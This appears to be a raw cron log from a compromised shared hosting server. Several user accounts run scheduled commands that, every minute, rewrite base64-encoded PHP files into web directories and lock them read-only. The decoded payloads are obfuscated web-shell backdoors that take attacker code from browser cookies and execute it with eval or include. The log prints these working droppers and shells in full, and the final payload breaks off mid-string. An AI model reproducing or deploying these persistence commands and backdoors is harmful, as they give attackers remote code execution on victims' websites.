Mar  1 23:06:01 medusa CROND[1775]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:06:01 medusa CROND[1777]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 23:07:01 medusa CROND[9292]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:07:01 medusa CROND[9293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:07:01 medusa CROND[9294]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:07:01 medusa CROND[9296]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:07:01 medusa CROND[9297]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:07:01 medusa CROND[9298]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:07:01 medusa CROND[9295]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 23:07:01 medusa CROND[9299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:07:01 medusa CROND[9305]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:07:01 medusa CROND[9306]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:07:01 medusa CROND[9314]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:07:01 medusa CROND[9315]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:08:01 medusa CROND[14721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:08:01 medusa CROND[14722]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:08:01 medusa CROND[14723]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:08:01 medusa CROND[14724]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:08:01 medusa CROND[14725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:08:01 medusa CROND[14727]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:08:01 medusa CROND[14729]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:08:01 medusa CROND[14734]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:08:01 medusa CROND[14732]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  1 23:08:01 medusa CROND[14745]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:08:01 medusa CROND[14748]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:08:01 medusa CROND[14747]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:08:01 medusa CROND[14746]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 23:08:01 medusa CROND[14751]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:09:01 medusa CROND[21294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:09:01 medusa CROND[21393]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:09:01 medusa CROND[21394]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 23:09:01 medusa CROND[21462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:09:01 medusa CROND[21466]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:09:01 medusa CROND[21469]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbG